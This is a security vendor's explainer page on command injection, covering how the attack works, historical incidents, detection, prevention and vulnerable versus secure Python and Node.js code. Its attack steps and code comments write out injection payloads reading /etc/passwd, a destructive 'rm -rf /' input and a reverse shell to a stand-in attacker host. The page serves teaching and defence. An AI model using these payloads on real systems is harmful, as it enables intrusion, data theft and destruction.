Skip to main content
CriticalProtected by PowerWAF

Command Injection Attack

CategoryInjectionOWASPA03:2021 – InjectionFirst seen1999Read time8 minVerified2026-03-10
DEFINITION

Command injection is a vulnerability where an application executes arbitrary system commands on the host operating system by incorporating untrusted user input into a system shell command. Attackers supply malicious input containing shell metacharacters (e.g., ; | & $ `) to chain additional commands, potentially leading to full server compromise, data exfiltration, or lateral movement across the network.

How Command Injection Attack Works

Command injection occurs when developers use functions that pass user input directly to shell commands (exec(), system(), subprocess, etc.) without proper validation or escaping. The operating system's shell interprets metacharacters as command separators, allowing attackers to append malicious commands. Unlike SQL injection, which targets database queries, command injection executes commands with the privileges of the vulnerable application process.

1

Identify vulnerable endpoints

Look for functionality that calls system commands: file operations (uploads, downloads), network tools (ping, traceroute, nslookup), format conversions (PDF generation, image processing), or administrative tasks. Common indicators include form fields, URL parameters, or file uploads that interact with backend system utilities.

2

Analyze command construction

Understand how user input is incorporated into system commands. Patterns like system('ping ' + user_input), exec('convert ' + filename), or subprocess.call(['ls', user_dir]) are suspicious. Check if input is validated, escaped, or passed as separate arguments rather than concatenated.

3

Craft exploit payloads

Test with shell metacharacters appropriate to the operating system: ; (command separator), && (logical AND), || (logical OR), | (pipe), ` (command substitution), $() (command substitution), $( ) (subshell), < > (redirection), & (background). For example: file.txt; cat /etc/passwd or 127.0.0.1; whoami

4

Execute and escalate

If command injection succeeds, enumerate the system: list files (ls, dir), check privileges (whoami, id), read sensitive files (/etc/passwd, C:\Windows\system32\config), establish reverse shells (bash -i >& /dev/tcp/attacker.com/4444 0>&1), or pivot to other systems using network tools (nc, nmap, curl).

Real-World Examples

2014

2014 Shellshock vulnerability

Shellshock (CVE-2014-6271) was a critical command injection vulnerability in Bash. Attackers executed arbitrary commands by setting environment variables with malicious function definitions. Millions of Unix-based systems were affected including web servers, routers, IoT devices. Attackers used it for DDoS botnets and data exfiltration.

2019

2019 Docker command injection

A vulnerability in Docker's API allowed attackers to execute arbitrary commands on host systems. The API endpoint for container creation didn't validate input properly, allowing command injection through the Cmd parameter. Attackers with container creation access could escape to the host OS and compromise the entire Docker host.

2021

2021 SolarWinds supply chain attack

While primarily a supply chain attack, compromised SolarWinds Orion updates included command injection capabilities. Attackers executed commands on SolarWinds servers to pivot into customer networks. The incident showed how command injection in trusted software can facilitate widespread intrusion.

Impact & Risk Assessment

Command injection enables full system compromise, data theft, malware deployment, and lateral movement to other systems. Attackers can read/write any file accessible to the application process, steal database credentials from configuration files, install backdoors, launch attacks against internal networks, or use the compromised server as a botnet node. In multi-tenant environments, one tenant can compromise others. Impact includes data breaches, service disruption, regulatory fines, and complete loss of trust. Command injection often leads to complete control of the hosting infrastructure.

How to Detect Command Injection Attack

Monitor for suspicious command execution patterns: shell metacharacters in parameters (;, |, &, $, `), system command functions with user input, unexpected file operations, reverse shell connections, or privilege escalation attempts. Log all system command executions with full arguments and process information. Use application security testing (SAST/DAST) to identify vulnerable code patterns. Deploy runtime application self-protection (RASP) to detect abnormal system calls. Monitor for anomalous network connections from the application server (outbound shells, data exfiltration).

How to Prevent Command Injection Attack

Never execute shell commands with user input. If unavoidable, use parameterized APIs (Python subprocess with list arguments, Java ProcessBuilder with separate arguments, Node.js child_process.execFile) instead of string concatenation. Validate input with strict allowlists (only alphanumeric, no special characters). Escape shell metacharacters properly using language-specific escaping functions. Implement least privilege principles: run application processes with minimal permissions, chroot/sandbox environments. Use input validation libraries that reject shell metacharacters. Disable unnecessary system utilities. Use secure APIs (libraries) instead of system commands when possible. Regular code reviews focusing on system command execution patterns.

Code Examples

Vulnerable: Direct Command Execution
import subprocess

# VULNERABLE: User input concatenated into command
def ping_host(ip_address):
# Attacker can input: 8.8.8.8; cat /etc/passwd
result = subprocess.run(
f'ping -c 4 {ip_address}',
shell=True, # shell=True enables metacharacter interpretation
capture_output=True,
text=True
)
return result.stdout
Secure: Parameterized Command Execution
import subprocess
import re

def validate_ip(ip):
"""Validate IP address with strict pattern"""
pattern = r'^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$'
return re.match(pattern, ip) is not None

def ping_host(ip_address):
# SECURE: Input validation + parameterized execution
if not validate_ip(ip_address):
raise ValueError('Invalid IP address format')

# Use list argument (no shell=True) - input can't inject commands
result = subprocess.run(
['ping', '-c', '4', ip_address],
capture_output=True,
text=True,
# No shell=True - each argument is separate
)
return result.stdout
Secure: Alternative Approaches (Node.js)
const { exec } = require('child_process');

// VULNERABLE: Don't do this
function pingVulnerable(ip) {
exec(`ping -c 4 ${ip}`, (error, stdout, stderr) => {
// Attacker can inject: ; rm -rf /
console.log(stdout);
});
}

// SECURE: Option 1 - Use a library instead of shell commands
const ping = require('ping');

async function pingSecure(ip) {
const res = await ping.promise.probe(ip, {
timeout: 2,
extra: ['-c', '4']
});
return res.output;
}

// SECURE: Option 2 - Strict validation + parameterized
const { spawn } = require('child_process');

function validateIP(ip) {
// IPv4 regex pattern
const pattern = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
return pattern.test(ip);
}

function pingParameterized(ip) {
if (!validateIP(ip)) {
throw new Error('Invalid IP address');
}

// spawn() with array - no shell interpretation
return spawn('ping', ['-c', '4', ip]);
}

PowerWAF automatically blocks Command Injection Attack at the edge.

Deploy in minutes. No code changes required. Free plan available.

Free plan spots are limited

Frequently Asked Questions

Command injection executes operating system commands (bash, cmd, PowerShell) with the privileges of the application. Code injection injects and executes code in the application's language (PHP eval(), Python exec()). Command injection targets the operating system shell, while code injection targets the application runtime. Both are critical but operate at different layers.
Input validation helps but isn't sufficient alone. Attackers can bypass validation using encoding tricks (URL encoding, Unicode variants) or alternative metacharacters. Proper prevention requires combining input validation (allowlists), parameterized APIs, escaping, least privileges, and defense in depth. Never rely solely on validation for security-critical operations.
Escaping can help but is error-prone and platform-dependent. Different shells (Bash, sh, cmd.exe) have different escaping rules. Missed special characters or improper escaping can still allow exploitation. Parameterized APIs are more reliable as they separate input from command structure. Only use escaping when absolutely necessary and with language-specific, well-tested escaping functions.